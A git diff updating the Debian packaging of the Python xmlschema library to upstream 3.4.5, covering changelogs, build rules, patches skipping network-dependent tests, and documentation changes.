diff --git a/.coveragerc b/.coveragerc deleted file mode 100644 index 6463262..0000000 --- a/.coveragerc +++ /dev/null @@ -1,13 +0,0 @@ -[run] -branch = True -source = xmlschema/ -omit = - xmlschema/testing/* - xmlschema/aliases.py - -[report] -exclude_lines = - pragma: no cover - raise NotImplementedError() - in self._etree_iterparse\( - in PyElementTree.iterparse\( \ No newline at end of file diff --git a/.gitignore b/.gitignore index f06179c..33b4aad 100644 --- a/.gitignore +++ b/.gitignore @@ -18,3 +18,4 @@ build/ development/ test_cases/ !tests/test_cases/ +!tests/test_cases/serialization/*.json diff --git a/.readthedocs.yml b/.readthedocs.yml index 0413384..9a50de9 100644 --- a/.readthedocs.yml +++ b/.readthedocs.yml @@ -1,8 +1,16 @@ +version: 2 + build: - image: latest + os: "ubuntu-22.04" + tools: + python: "3.12" + +formats: + - pdf + +sphinx: + configuration: doc/conf.py python: - version: 3.7 - pip_install: true - extra_requirements: - - docs + install: + - requirements: doc/requirements.txt diff --git a/CHANGELOG.rst b/CHANGELOG.rst index 12a52ba..9ee1fd1 100644 --- a/CHANGELOG.rst +++ b/CHANGELOG.rst @@ -2,8 +2,200 @@ CHANGELOG ********* -`v1.10.0`_ (2022-03-07) +`v3.4.5`_ (2025-03-22) +====================== +* Fix xs:all groups occurs check (issue #437) + +`v3.4.4`_ (2025-03-18) +====================== +* Migrate project metadata to pyproject.toml (PR #436) +* Fix static typing errors with mypy==1.15.0 and elementpath==4.8.0 + +`v3.4.3`_ (2024-10-31) +====================== +* Fix incorrect validation error for substitution group with abstract head (issue #417) +* Refactor XSD identities processing using also typed XPath 2.0+ for getting values (issue #418) +* Clean tag retrieval during encode for some converter types (Abdera, BadgerFish and GData) + +`v3.4.2`_ (2024-09-17) +====================== +* Fix other failing URL normalization tests +* Avoid the use of sys.version_info for checking results, better to extend the check to more values. + +`v3.4.1`_ (2024-09-12) +====================== +* Fix failing URL normalization tests (issue #416) +* Disable protocols checking with elementpath v4.5.0 + +`v3.4.0`_ (2024-09-10) +====================== +* Extended ModelVisitor to make it usable as an helper class for generating content + (issues #405 and #408) + +`v3.3.2`_ (2024-07-29) +====================== +* Fix UNC path tests (issues #405 and #408) + +`v3.3.1`_ (2024-04-27) +====================== +* Update validation errors with logging stacktrace in debug mode +* Improve locations parsing and URL encoding + +`v3.3.0`_ (2024-04-17) +====================== +* Rewrite the validation of openContent using InterleavedModelVisitor and SuffixedModelVisitor +* Fix validation of XSD 1.1 'all' nested models + +`v3.2.1`_ (2024-04-07) +====================== +* Improve ModelVisitor and particle occurs checking +* Fix interleave mode with XSD 1.1 open content (issue #397) +* Fix for export/download of XSD sources with commented-out imports/include (issue #387) + +`v3.2.0`_ (2024-03-25) +====================== +* Add *download_schemas()* to package API (#387) +* Fix issue with facets on list types (#396) + +`v3.1.0`_ (2024-03-13) +====================== +* Add GData converter (issue #388/PR #391) +* Fix typing protocols usage +* Extend XSD annotations parsing (issue #366) + +`v3.0.2`_ (2024-02-18) +====================== +* Use XPath subtree as fragment for xs:assert (issue #386) +* Fix in XMLSchemaProxy definition and usage for providing + a base-uri to schema nodes (issue #379) +* Module xpath.py splitted to a subpackage for including all the + custom XPath 1.0/2.0 parsers and related classes to XPath +* Add support for Python 3.13 (pre-releases) + +`v3.0.1`_ (2024-01-09) +====================== +* Hotfix release for broken requirement +* Set python-requires metadata to >=3.8 (pull request #382) +* Upgrade GitHub Actions (pull request #381) + +`v3.0.0`_ (2024-01-07) +====================== +* XML declaration processing option *xmlns_processing* for converters +* Decode/validate from XML document with dynamic schema load +* XMLResource enhancement for a better XML resources processing +* Improve lazy resources iteration removing preceding elements (*thin_mode* option) +* Drop support for Python 3.7 + +`v2.5.1`_ (2023-12-19) +====================== +* Fix slowness of key selectors introduced by v2.5.0 (issue #378) +* Remove redundant wheel dep from pyproject.toml and unnecessary build deps from tox.ini (PR #368) + +`v2.5.0`_ (2023-09-21) +====================== +* Fix identity keys tracking with additional full XPath checks on XML data +* Rewrite schema exports using relative paths + +`v2.4.0`_ (2023-07-27) +====================== +* Improve schema export using XSD source encoding +* Add XML signature and encryption to local fallback schemas (issue #357) + +`v2.3.1`_ (2023-06-14) +====================== +* Meta-schema elements and groups ignore xsi:type attributes (issue #350) +* Use the meta-schemas only for validating XSD sources otherwise create dummy schemas + +`v2.3.0`_ (2023-05-18) +====================== +* Improve sequence/all restriction checks for XSD 1.1 +* Add *schema* argument to `Wsdl11Document` + +`v2.2.3`_ (2023-04-14) +====================== +* Add support for Python 3.12 +* Detach content iteration methods from ModelVisitor + +`v2.2.2`_ (2023-03-05) +====================== +* Fix mixed content extension with empty content (issue #337) +* Fix lru_cache() usage on global maps caching + +`v2.2.1`_ (2023-02-11) +====================== +* Fix mixed content extension without explicit mixed attribute (issue #334) + +`v2.2.0`_ (2023-02-06) +====================== +* Refine string serialization of XML resources and data elements +* Switch to use elementpath v4 +* Fix sequence_type property for XSD types +* Remove *XsdElement.get_attribute()*: unused and doesn't work as expected + +`v2.1.1`_ (2022-10-01) +====================== +* Fix *schema_path* usage in `XMLSchemaBase.iter_errors()` +* Add *allow_empty* option to `XMLSchemaBase` validation API + +`v2.1.0`_ (2022-09-25) +====================== +* Add *to_etree()* to document API +* Improve generic encoding with wildcards +* Clean document API and schema decoding + +`v2.0.4`_ (2022-09-08) +====================== +* Add *use_location_hints* argument to document API for giving the option + of ignoring XSI schema locations hints +* Fix import from locations hints with namespace mismatch (issue #324) + +`v2.0.3`_ (2022-08-25) +====================== +* Add *keep_empty* and *element_hook* options to main `iter_decode()` method +* Fix default namespace mapping in `BadgerFishConverter` +* Fix type restriction check if restricted particle has `maxOccurs==0` (issue #323) + +`v2.0.2`_ (2022-08-12) +====================== +* Fix XSD 1.1 assertions effective scope +* Add support for Python 3.11 + +`v2.0.1`_ (2022-07-21) ====================== +* Remove warnings during the build of the package using package_data specs in setup.py +* Fix decoding with `process_namespaces=False` and xsi:type in XML instance +* Refactor `DataElement.get()`, restore `DataElement.set()` (issue #314) +* Add *map_attribute_names* argument to `DataElementConverter` + +`v2.0.0`_ (2022-07-18) +====================== +* Refactor XPath interface for the full XPath node implementation of elementpath v3.0 +* Fix BadgerFishConverter with mixed content (issue #315) +* Improve `get()` and `set()` of DataElement (issue #314) + +`v1.11.3`_ (2022-06-24) +======================= +* Fix invalid element not detected with empty particle (issue #306) +* Fix Sphinx warnings (issue #305) + +`v1.11.2`_ (2022-06-11) +======================= +* Fix 'replace_existing' argument usage in `XsdElement.get_binding` method (issue #300) +* Add Russian full translation (from PR #303 and #304) + +`v1.11.1`_ (2022-05-22) +======================= +* Protect converter calls in iter_decode()/iter_encode() +* Extend XSD type matching for code generators (fallback to schema types with a local name) + +`v1.11.0`_ (2022-05-14) +======================= +* Add localization for validation related error messages +* Add Italian translation +* Add Russian partial translation (from PR #293) + +`v1.10.0`_ (2022-03-07) +======================= * Add 'nonlocal' option to *defuse* argument of `XMLResource` (also for schema classes) * Add 'none' option to *allow* argument of `XMLResource` * Fix too strict parsing on XSD annotations (issue #287) @@ -518,3 +710,38 @@ v0.9.6 (2017-05-05) .. _v1.9.1: https://github.com/brunato/xmlschema/compare/v1.9.0...v1.9.1 .. _v1.9.2: https://github.com/brunato/xmlschema/compare/v1.9.1...v1.9.2 .. _v1.10.0: https://github.com/brunato/xmlschema/compare/v1.9.2...v1.10.0 +.. _v1.11.0: https://github.com/brunato/xmlschema/compare/v1.10.0...v1.11.0 +.. _v1.11.1: https://github.com/brunato/xmlschema/compare/v1.11.0...v1.11.1 +.. _v1.11.2: https://github.com/brunato/xmlschema/compare/v1.11.1...v1.11.2 +.. _v1.11.3: https://github.com/brunato/xmlschema/compare/v1.11.2...v1.11.3 +.. _v2.0.0: https://github.com/brunato/xmlschema/compare/v1.11.3...v2.0.0 +.. _v2.0.1: https://github.com/brunato/xmlschema/compare/v2.0.0...v2.0.1 +.. _v2.0.2: https://github.com/brunato/xmlschema/compare/v2.0.1...v2.0.2 +.. _v2.0.3: https://github.com/brunato/xmlschema/compare/v2.0.2...v2.0.3 +.. _v2.0.4: https://github.com/brunato/xmlschema/compare/v2.0.3...v2.0.4 +.. _v2.1.0: https://github.com/brunato/xmlschema/compare/v2.0.4...v2.1.0 +.. _v2.1.1: https://github.com/brunato/xmlschema/compare/v2.1.0...v2.1.1 +.. _v2.2.0: https://github.com/brunato/xmlschema/compare/v2.1.1...v2.2.0 +.. _v2.2.1: https://github.com/brunato/xmlschema/compare/v2.2.0...v2.2.1 +.. _v2.2.2: https://github.com/brunato/xmlschema/compare/v2.2.1...v2.2.2 +.. _v2.2.3: https://github.com/brunato/xmlschema/compare/v2.2.2...v2.2.3 +.. _v2.3.0: https://github.com/brunato/xmlschema/compare/v2.2.3...v2.3.0 +.. _v2.3.1: https://github.com/brunato/xmlschema/compare/v2.3.0...v2.3.1 +.. _v2.4.0: https://github.com/brunato/xmlschema/compare/v2.3.1...v2.4.0 +.. _v2.5.0: https://github.com/brunato/xmlschema/compare/v2.4.0...v2.5.0 +.. _v2.5.1: https://github.com/brunato/xmlschema/compare/v2.5.0...v2.5.1 +.. _v3.0.0: https://github.com/brunato/xmlschema/compare/v2.5.1...v3.0.0 +.. _v3.0.1: https://github.com/brunato/xmlschema/compare/v3.0.0...v3.0.1 +.. _v3.0.2: https://github.com/brunato/xmlschema/compare/v3.0.1...v3.0.2 +.. _v3.1.0: https://github.com/brunato/xmlschema/compare/v3.0.2...v3.1.0 +.. _v3.2.0: https://github.com/brunato/xmlschema/compare/v3.1.0...v3.2.0 +.. _v3.2.1: https://github.com/brunato/xmlschema/compare/v3.2.0...v3.2.1 +.. _v3.3.0: https://github.com/brunato/xmlschema/compare/v3.2.1...v3.3.0 +.. _v3.3.1: https://github.com/brunato/xmlschema/compare/v3.3.0...v3.3.1 +.. _v3.3.2: https://github.com/brunato/xmlschema/compare/v3.3.1...v3.3.2 +.. _v3.4.0: https://github.com/brunato/xmlschema/compare/v3.3.2...v3.4.0 +.. _v3.4.1: https://github.com/brunato/xmlschema/compare/v3.4.0...v3.4.1 +.. _v3.4.2: https://github.com/brunato/xmlschema/compare/v3.4.1...v3.4.2 +.. _v3.4.3: https://github.com/brunato/xmlschema/compare/v3.4.2...v3.4.3 +.. _v3.4.4: https://github.com/brunato/xmlschema/compare/v3.4.3...v3.4.4 +.. _v3.4.5: https://github.com/brunato/xmlschema/compare/v3.4.4...v3.4.5 diff --git a/LICENSE b/LICENSE index 9b22e2d..cd55dd3 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ The MIT License (MIT) -Copyright (c), 2016-2020, SISSA (Scuola Internazionale Superiore di Studi Avanzati) +Copyright (c), 2016-2024, SISSA (Scuola Internazionale Superiore di Studi Avanzati) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/MANIFEST.in b/MANIFEST.in index 603d61d..f839a6e 100644 --- a/MANIFEST.in +++ b/MANIFEST.in @@ -2,13 +2,14 @@ include MANIFEST.in include LICENSE include README.rst include CHANGELOG.rst -include setup.py -include setup.cfg include requirements-dev.txt include tox.ini include doc/* recursive-include xmlschema * +recursive-include scripts * recursive-include tests * +recursive-exclude tests/.mypy_cache * +exclude xmlschema/locale/xmlschema.pot global-exclude *.py[cod] diff --git a/README.rst b/README.rst index 697d978..428d68a 100644 --- a/README.rst +++ b/README.rst @@ -13,13 +13,11 @@ xmlschema :target: https://lbesson.mit-license.org/ .. image:: https://img.shields.io/pypi/dm/xmlschema.svg :target: https://pypi.python.org/pypi/xmlschema/ -.. image:: https://img.shields.io/badge/Maintained%3F-yes-green.svg - :target: https://GitHub.com/Naereen/StrapDown.js/graphs/commit-activity .. xmlschema-introduction-start The *xmlschema* library is an implementation of `XML Schema `_ -for Python (supports Python 3.7+). +for Python (supports Python 3.8+). This library arises from the needs of a solid Python layer for processing XML Schema based files for @@ -50,6 +48,7 @@ This library includes the following features: * Support of XSD validation modes *strict*/*lax*/*skip* * XML attacks protection using an XMLParser that forbids entities * Access control on resources addressed by an URL or filesystem path +* Downloading XSD files from a remote URL and storing them for offline use * XML data bindings based on DataElement class * Static code generation with Jinja2 templates @@ -57,7 +56,7 @@ This library includes the following features: Installation ============ -You can install the library with *pip* in a Python 3.6+ environment:: +You can install the library with *pip* in a Python 3.7+ environment:: pip install xmlschema diff --git a/debian/changelog b/debian/changelog index e31ef12..7e200e0 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,92 @@ +python-xmlschema (3.4.5-1) unstable; urgency=medium + + * Team upload. + * New upstream version 3.4.5. + * Update patch to fit new upstream version. + * d/control: bump Standards-Version to 4.7.2. + * Add d/salsa-ci.yml. + + -- Yogeswaran Umasankar Tue, 01 Apr 2025 01:17:09 +0000 + +python-xmlschema (3.4.3-1) unstable; urgency=medium + + * Team upload. + * New upstream version 3.4.3. + + -- Yogeswaran Umasankar Sun, 10 Nov 2024 19:27:53 +0000 + +python-xmlschema (3.4.2-1) unstable; urgency=medium + + * Team upload. + * Upload to unstable. + + -- Yogeswaran Umasankar Mon, 23 Sep 2024 04:56:11 +0000 + +python-xmlschema (3.4.2-1~exp1) experimental; urgency=medium + + * Team upload. + * New upstream version 3.4.2. + * Update patches + - Drop 003-fix-test-pickle-error-py13.patch (fixed by upstream). + + -- Yogeswaran Umasankar Wed, 18 Sep 2024 21:05:49 +0000 + +python-xmlschema (3.3.2-1) unstable; urgency=medium + + * Team upload. + * New upstream version 3.3.2. + * Update patches + - Drop removed-currently-broken-test.patch (fixed by upstream). + * d/rules: remove trailing whitespace. + + -- Yogeswaran Umasankar Mon, 19 Aug 2024 02:00:00 +0000 + +python-xmlschema (3.3.1-3) unstable; urgency=medium + + * Team upload. + * Add patch to fix FTBFS -pickle error in test. (Closes: #1078364) + + -- Yogeswaran Umasankar Mon, 19 Aug 2024 00:30:00 +0000 + +python-xmlschema (3.3.1-2) unstable; urgency=medium + + * Team upload. + * Add patch to remove 2 broken tests, fixing FTBFS (Closes: #1073436). + + -- Thomas Goirand Sat, 13 Jul 2024 08:34:56 +0200 + +python-xmlschema (3.3.1-1) unstable; urgency=medium + + * Team upload. + * New upstream version 3.3.1 + * Refresh patches (no functional changes) + + -- Timo Röhling Tue, 30 Apr 2024 22:28:10 +0200 + +python-xmlschema (3.3.0-1) unstable; urgency=medium + + * Team upload. + * New upstream version 3.3.0 + * Update patches + - Drop Fix-encoding.patch (obsolete) + - Drop Refactor-_PurePath-to-not-use-PurePath-internals.patch (obsolete) + * Bump python3-elementpath minimum version + * Migrate to PEP 517 build + + -- Timo Röhling Wed, 24 Apr 2024 22:40:32 +0200 + +python-xmlschema (2.1.1-1) unstable; urgency=medium + + * Team upload. + * New upstream version 2.1.1 + * Update patches + - Drop Fix-new-elementpath-context-iter.patch (obsolete) + * Bump Standards-Version to 4.7.0 + * Migrate to autopkgtest-pkg-pybuild + * Update debian/rules + + -- Timo Röhling Wed, 24 Apr 2024 12:56:50 +0200 + python-xmlschema (1.10.0-7) unstable; urgency=medium * Team upload. diff --git a/debian/clean b/debian/clean new file mode 100644 index 0000000..3d76bae --- /dev/null +++ b/debian/clean @@ -0,0 +1,5 @@ +doc/_build/ +unicode_categories.json +xmlschema/unicode_categories.json +*.1 + diff --git a/debian/control b/debian/control index 9cedf93..46c389e 100644 --- a/debian/control +++ b/debian/control @@ -5,9 +5,12 @@ Maintainer: Debian Python Team Uploaders: Christian Kastner Build-Depends: debhelper-compat (= 13), dh-python, + dh-sequence-python3, + dh-sequence-sphinxdoc, help2man, + pybuild-plugin-pyproject, python3-all, - python3-elementpath (>= 2.5.0), + python3-elementpath (>= 4.4.0), python3-jinja2, python3-lxml, python3-setuptools, @@ -15,10 +18,11 @@ Build-Depends: debhelper-compat (= 13), python3-sphinx-rtd-theme , wget, Rules-Requires-Root: no -Standards-Version: 4.6.2 +Standards-Version: 4.7.2 Homepage: https://github.com/sissaschool/xmlschema Vcs-Git: https://salsa.debian.org/python-team/packages/python-xmlschema.git Vcs-Browser: https://salsa.debian.org/python-team/packages/python-xmlschema +Testsuite: autopkgtest-pkg-pybuild Package: python3-xmlschema Architecture: all diff --git a/debian/patches/Fix-encoding.patch b/debian/patches/Fix-encoding.patch deleted file mode 100644 index fdf90db..0000000 --- a/debian/patches/Fix-encoding.patch +++ /dev/null @@ -1,40 +0,0 @@ -enforced encoding="utf-8" for calls of fileinput.input, since it -may be necessary during the package build in some environments -Index: python-xmlschema/tests/test_package.py -=================================================================== ---- python-xmlschema.orig/tests/test_package.py -+++ python-xmlschema/tests/test_package.py -@@ -42,7 +42,7 @@ class TestPackaging(unittest.TestCase): - file_excluded = [] - files = glob.glob(os.path.join(self.source_dir, '*.py')) + \ - glob.glob(os.path.join(self.source_dir, 'validators/*.py')) -- for line in fileinput.input(files): -+ for line in fileinput.input(files, encoding="utf-8"): - if fileinput.isfirstline(): - filename = fileinput.filename() - file_excluded = exclude.get(os.path.basename(filename), []) -@@ -66,7 +66,7 @@ class TestPackaging(unittest.TestCase): - os.path.join(self.package_dir, 'doc/conf.py'), - ]) - version = filename = None -- for line in fileinput.input(files): -+ for line in fileinput.input(files, encoding="utf-8"): - if fileinput.isfirstline(): - filename = fileinput.filename() - lineno = fileinput.filelineno() -@@ -84,13 +84,13 @@ class TestPackaging(unittest.TestCase): - def test_elementpath_requirement(self): - package_dir = pathlib.Path(__file__).parent.parent - ep_requirement = None -- for line in fileinput.input(str(package_dir.joinpath('requirements-dev.txt'))): -+ for line in fileinput.input(str(package_dir.joinpath('requirements-dev.txt')), encoding="utf-8"): - if 'elementpath' in line: - ep_requirement = line.strip() - - self.assertIsNotNone(ep_requirement, msg="Missing elementpath in requirements-dev.txt") - -- for line in fileinput.input(str(package_dir.joinpath('setup.py'))): -+ for line in fileinput.input(str(package_dir.joinpath('setup.py')), encoding="utf-8"): - if 'elementpath' in line: - self.assertIn(ep_requirement, line, msg="Unmatched requirement in setup.py") - diff --git a/debian/patches/Fix-new-elementpath-context-iter.patch b/debian/patches/Fix-new-elementpath-context-iter.patch deleted file mode 100644 index 0d0baae..0000000 --- a/debian/patches/Fix-new-elementpath-context-iter.patch +++ /dev/null @@ -1,16 +0,0 @@ -XMLSchemaContext instances have no iter() method, -but their property .root does. - -Index: python-xmlschema/xmlschema/testing/_builders.py -=================================================================== ---- python-xmlschema.orig/xmlschema/testing/_builders.py -+++ python-xmlschema/xmlschema/testing/_builders.py -@@ -126,7 +126,7 @@ def make_schema_test_class(test_file, te - if not inspect and not self.errors: - context = XMLSchemaContext(schema) - elements = [x for x in schema.iter()] # Contains schema elements only -- xpath_context_elements = [x for x in context.iter() if isinstance(x, XsdValidator)] -+ xpath_context_elements = [x for x in context.root.iter() if isinstance(x, XsdValidator)] - descendants = [x for x in context.iter_descendants('descendant-or-self')] - self.assertTrue(x in descendants for x in xpath_context_elements) - for e in elements: diff --git a/debian/patches/Refactor-_PurePath-to-not-use-PurePath-internals.patch b/debian/patches/Refactor-_PurePath-to-not-use-PurePath-internals.patch deleted file mode 100644 index a6bd2b6..0000000 --- a/debian/patches/Refactor-_PurePath-to-not-use-PurePath-internals.patch +++ /dev/null @@ -1,88 +0,0 @@ -From: Davide Brunato -Date: Fri, 14 Apr 2023 13:32:14 +0200 -Subject: Refactor _PurePath to not use PurePath internals - -- Add attribute _path_module to _PurePath and its - subclasses in order to process path normalization - -Origin: upstream, https://github.com/sissaschool/xmlschema/commmit/62e317e210e11241cd3460c0a5a4aceb3c663b9a ---- - xmlschema/resources.py | 32 ++++++++++++++++++++++---------- - 1 file changed, 22 insertions(+), 10 deletions(-) - -diff --git a/xmlschema/resources.py b/xmlschema/resources.py -index 684e267..fe985cb 100644 ---- a/xmlschema/resources.py -+++ b/xmlschema/resources.py -@@ -9,6 +9,8 @@ - # - import copy - import os.path -+import ntpath -+import posixpath - import platform - import re - import string -@@ -89,13 +91,12 @@ class _PurePath(PurePath): - A version of pathlib.PurePath adapted for managing the creation - from URIs and the simple normalization of paths. - """ -- _from_parts: Any -- _flavour: Any -+ _path_module = os.path - - def __new__(cls, *args: str) -> '_PurePath': - if cls is _PurePath: - cls = _PureWindowsPath if os.name == 'nt' else _PurePosixPath -- return cast('_PurePath', cls._from_parts(args)) -+ return super().__new__(cls, *args) - - @classmethod - def from_uri(cls, uri: str) -> '_PurePath': -@@ -142,12 +143,21 @@ class _PurePath(PurePath): - - def as_uri(self) -> str: - if not self.is_absolute(): -- uri: str = self._flavour.make_uri(self) -- while uri.startswith('file:/'): -- uri = uri.replace('file:/', 'file:', 1) -- return uri -+ # Converts relative paths to not RFC 8089 compliant relative -+ # file URIs because urlopen() doesn't accept simple paths -+ drive = self.drive -+ if len(drive) == 2 and drive[1] == ':': -+ prefix = 'file:' + drive -+ path = self.as_posix()[2:] -+ elif drive: -+ prefix = 'file:' -+ path = self.as_posix() -+ else: -+ prefix = 'file:' -+ path = str(self) -+ return prefix + quote_from_bytes(os.fsencode(path)) - -- uri = cast(str, self._flavour.make_uri(self)) -+ uri = super().as_uri() - if isinstance(self, _PureWindowsPath) and str(self).startswith(r'\\'): - # UNC format case: use the format where the host part is included - # in the path part, to let urlopen() works. -@@ -156,15 +166,17 @@ class _PurePath(PurePath): - return uri - - def normalize(self) -> '_PurePath': -- normalized_path = self._flavour.pathmod.normpath(str(self)) -- return cast('_PurePath', self._from_parts((normalized_path,))) -+ normalized_path = self._path_module.normpath(str(self)) -+ return self.__class__(normalized_path) - - - class _PurePosixPath(_PurePath, PurePosixPath): -+ _path_module = posixpath - __slots__ = () - - - class _PureWindowsPath(_PurePath, PureWindowsPath): -+ _path_module = ntpath - __slots__ = () - - diff --git a/debian/patches/Skip-failing-packaging-test.patch b/debian/patches/Skip-failing-packaging-test.patch index c7a0d64..d926cc1 100644 --- a/debian/patches/Skip-failing-packaging-test.patch +++ b/debian/patches/Skip-failing-packaging-test.patch @@ -6,22 +6,48 @@ Not needed for Debian, and skipping seems easier than fixing. Forwarded: not-needed --- - tests/test_package.py | 1 + - 1 file changed, 1 insertion(+) + tests/test_package.py | 1 + + tests/test_xpath.py | 2 ++ + xmlschema/testing/_builders.py | 5 +++++ + 3 files changed, 8 insertions(+) -Index: python-xmlschema/xmlschema/testing/_builders.py -=================================================================== ---- python-xmlschema.orig/xmlschema/testing/_builders.py -+++ python-xmlschema/xmlschema/testing/_builders.py -@@ -17,6 +17,7 @@ import logging - import importlib +diff --git a/tests/test_package.py b/tests/test_package.py +index 9c1175a..5c53020 100644 +--- a/tests/test_package.py ++++ b/tests/test_package.py +@@ -19,5 +19,6 @@ import importlib + + ++@unittest.skip("breaks Debian autopkgtest") + class TestPackaging(unittest.TestCase): + + @classmethod +diff --git a/tests/test_xpath.py b/tests/test_xpath.py +index 4914c7b..b0b6402 100644 +--- a/tests/test_xpath.py ++++ b/tests/test_xpath.py +@@ -58,6 +58,8 @@ class XMLSchemaProxyTest(unittest.TestCase): + schema_proxy2.bind_parser(parser) + self.assertIs(parser.schema, schema_proxy2) + ++ @unittest.skip( ++ "Requires network access, not granted during the Debian build") + def test_get_context_method(self): + schema_proxy = XMLSchemaProxy(self.xs1) + context = schema_proxy.get_context() +diff --git a/xmlschema/testing/_builders.py b/xmlschema/testing/_builders.py +index fbc3ef9..d9c1496 100644 +--- a/xmlschema/testing/_builders.py ++++ b/xmlschema/testing/_builders.py +@@ -17,6 +17,7 @@ import time + import logging import tempfile import warnings +import unittest + from importlib import util as importlib_util + from xml.etree import ElementTree - try: - import lxml.etree as lxml_etree -@@ -197,6 +198,8 @@ def make_schema_test_class(test_file, te +@@ -202,6 +203,8 @@ def make_schema_test_class(test_file, test_args, test_num, schema_class, check_w lxml_schema_time, xmlschema_time, xsd_file, self.__class__.__name__ )) @@ -30,7 +56,7 @@ Index: python-xmlschema/xmlschema/testing/_builders.py def test_xsd_file(self): if inspect: SchemaObserver.clear() -@@ -609,6 +612,8 @@ def make_validation_test_class(test_file +@@ -640,6 +643,8 @@ def make_validation_test_class(test_file, test_args, test_num, schema_class, che finally: os.chdir(cwd) @@ -39,16 +65,3 @@ Index: python-xmlschema/xmlschema/testing/_builders.py def test_xml_document_validation(self): if not validation_only: self.check_decoding_with_element_tree() -Index: python-xmlschema/tests/test_xpath.py -=================================================================== ---- python-xmlschema.orig/tests/test_xpath.py -+++ python-xmlschema/tests/test_xpath.py -@@ -58,6 +58,8 @@ class XMLSchemaProxyTest(unittest.TestCa - schema_proxy2.bind_parser(parser) - self.assertIs(parser.schema, schema_proxy2) - -+ @unittest.skip( -+ "Requires network access, not granted during the Debian build") - def test_get_context_method(self): - schema_proxy = XMLSchemaProxy(self.xs1) - context = schema_proxy.get_context() diff --git a/debian/patches/series b/debian/patches/series index fb714c0..2641e7b 100644 --- a/debian/patches/series +++ b/debian/patches/series @@ -1,4 +1 @@ Skip-failing-packaging-test.patch -Fix-new-elementpath-context-iter.patch -Fix-encoding.patch -Refactor-_PurePath-to-not-use-PurePath-internals.patch diff --git a/debian/rules b/debian/rules index a69f215..cb141eb 100755 --- a/debian/rules +++ b/debian/rules @@ -3,34 +3,21 @@ include /usr/share/dpkg/pkg-info.mk - -# Copy/generate three artifacts needed by the test suite export PYBUILD_NAME=xmlschema -define PYBUILD_BEFORE_TEST - cp mypy.ini requirements-dev.txt setup.py {build_dir}/ - mkdir {build_dir}/doc - cp doc/conf.py {build_dir}/doc/ -endef -export PYBUILD_BEFORE_TEST -export PYBUILD_AFTER_TEST=rm -f {build_dir}/setup.py {build_dir}/mypy.ini {build_dir}/requirements-dev.txt {build_dir}/doc/conf.py - %: - dh $@ --with python3,sphinxdoc --buildsystem=pybuild + dh $@ --buildsystem=pybuild -override_dh_auto_build: export http_proxy='127.0.0.1:9' -override_dh_auto_build: export https_proxy='127.0.0.1:9' -override_dh_auto_build: - dh_auto_build +execute_after_dh_auto_build: ifeq (,$(findstring nodoc, $(DEB_BUILD_OPTIONS))) - PYTHONPATH=$(CURDIR) $(MAKE) -C doc html + PYTHONPATH="$(shell pybuild --print {build_dir} --interpreter python3)" http_proxy="127.0.0.1:9" https_proxy="127.0.0.1:9" \ + $(MAKE) -C doc html endif -override_dh_auto_install: - dh_auto_install +execute_after_dh_auto_install: for CMD in xmlschema-json2xml xmlschema-validate xmlschema-xml2json ; \ do \ - PYTHONPATH=debian/python3-xmlschema/usr/lib/$(shell py3versions -d)/dist-packages/ \ + PYTHONPATH="debian/python3-xmlschema/$(shell pybuild --print {install_dir} --interpreter python3)" \ help2man \ --version-string $(DEB_VERSION_UPSTREAM) \ --no-info \ @@ -45,10 +32,3 @@ override_dh_auto_install: override_dh_installdocs: dh_installdocs --package=python-xmlschema-doc --doc-main-package=python3-xmlschema dh_installdocs --remaining-packages - -override_dh_auto_clean: - dh_auto_clean - rm -rf doc/_build - rm -f unicode_categories.json xmlschema/unicode_categories.json - rm -f *.1 - diff --git a/debian/salsa-ci.yml b/debian/salsa-ci.yml new file mode 100644 index 0000000..8424db4 --- /dev/null +++ b/debian/salsa-ci.yml @@ -0,0 +1,3 @@ +--- +include: + - https://salsa.debian.org/salsa-ci-team/pipeline/raw/master/recipes/debian.yml diff --git a/debian/tests/control b/debian/tests/control deleted file mode 100644 index 9eaff41..0000000 --- a/debian/tests/control +++ /dev/null @@ -1,7 +0,0 @@ -Test-Command: set -e - ; for py in $(py3versions -r 2>/dev/null) - ; do echo "Testing with $py:" - ; $py -m unittest discover -v - ; done -Depends: python3-all, python3-elementpath (>= 2.1.2), python3-lxml, python3-xmlschema -Restrictions: allow-stderr diff --git a/doc/api.rst b/doc/api.rst index a9bd3e3..3665383 100644 --- a/doc/api.rst +++ b/doc/api.rst @@ -24,6 +24,10 @@ Errors and exceptions .. autoexception:: xmlschema.XMLSchemaEncodeError .. autoexception:: xmlschema.XMLSchemaChildrenValidationError + .. autoattribute:: invalid_tag + .. autoattribute:: invalid_child + +.. autoexception:: xmlschema.XMLSchemaStopValidation .. autoexception:: xmlschema.XMLSchemaIncludeWarning .. autoexception:: xmlschema.XMLSchemaImportWarning .. autoexception:: xmlschema.XMLSchemaTypeTableWarning @@ -40,6 +44,7 @@ Document level API .. autofunction:: xmlschema.iter_decode .. autofunction:: xmlschema.to_dict .. autofunction:: xmlschema.to_json +.. autofunction:: xmlschema.to_etree .. autofunction:: xmlschema.from_json @@ -52,12 +57,13 @@ Schema level API .. class:: xmlschema.XMLSchema11 The classes for XSD v1.0 and v1.1 schema instances. They are both generated by the - meta-class :class:`XMLSchemaMeta` and take the same API of :class:`XMLSchemaBase`. + meta-class :class:`XMLSchemaMeta` and take the same API of :class:`xmlschema.XMLSchemaBase`. .. autoclass:: xmlschema.XMLSchema .. autoclass:: xmlschema.XMLSchemaBase + .. autoattribute:: meta_schema .. autoattribute:: root .. automethod:: get_text .. autoattribute:: name @@ -85,12 +91,12 @@ Schema level API .. automethod:: get_locations .. automethod:: include_schema .. automethod:: import_schema + .. automethod:: add_schema .. automethod:: export .. automethod:: resolve_qname .. automethod:: iter_globals .. automethod:: iter_components - .. automethod:: check_schema .. automethod:: build .. automethod:: clear .. autoattribute:: built @@ -102,15 +108,11 @@ Schema level API .. automethod:: validate .. automethod:: is_valid .. automethod:: iter_errors - .. automethod:: decode - - .. _schema-iter_decode: + .. automethod:: decode .. automethod:: iter_decode - .. automethod:: encode - - .. _schema-iter_encode: + .. automethod:: encode .. automethod:: iter_encode @@ -174,15 +176,24 @@ Data objects API .. autoclass:: xmlschema.DataBindingConverter +.. _url-normalization-api: + +URL normalization API +===================== + +.. autofunction:: xmlschema.normalize_url +.. autofunction:: xmlschema.normalize_locations + + .. _xml-resource-api: XML resources API ================= .. autofunction:: xmlschema.fetch_resource -.. autofunction:: xmlschema.fetch_schema .. 